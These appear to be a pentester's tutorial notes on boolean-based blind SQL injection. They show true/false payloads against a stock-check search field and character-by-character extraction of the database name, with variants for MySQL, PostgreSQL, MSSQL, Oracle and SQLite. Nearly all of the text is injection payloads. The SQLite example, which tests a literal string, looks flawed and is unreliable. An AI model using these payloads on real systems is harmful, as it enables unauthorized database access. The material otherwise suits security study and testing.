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Boolean-Based SQLi

Example 1

Application is a stock control program that shows a positive or negative value

Burp intercept shows POST request with this positive/negative value verifying if an item is in stock.

Testing this for SQLi, specifically a boolean true/false query:
Positive result:

search=iphone11' AND 1=1-- -

Negative result:

search=iphone11' AND 1=2-- -

Confirm mysql database type

search=iphone11' AND database()!=''-- -

Determine the length of the database with true/false values

search=iphone11' AND LENGTH(database())=10-- -

Extract the DB name char by char, use the burpsuite intruder for this.

search=iphone11'+AND+SUBSTRING(database(),1,1)%3d'a'--+-

If mysql:

AND SUBSTRING(database(),9,1)='R'-- -
AND MID(database(),9,1)='R'-- -
AND ASCII(SUBSTRING(database(),9,1))=82-- -

If PostgreSQL

AND SUBSTRING(current_database() FROM 9 FOR 1)='R'-- -
AND ASCII(SUBSTRING(current_database() FROM 9 FOR 1))=82-- -

If MSSQL

AND SUBSTRING(DB_NAME(),9,1)='R'-- -
AND ASCII(SUBSTRING(DB_NAME(),9,1))=82-- -

If Oracle

AND SUBSTR(SYS_CONTEXT('USERENV','DB_NAME'),9,1)='R'-- -
AND ASCII(SUBSTR(SYS_CONTEXT('USERENV','DB_NAME'),9,1))=82

If SQLIte

AND SUBSTR('main',9,1)='R'

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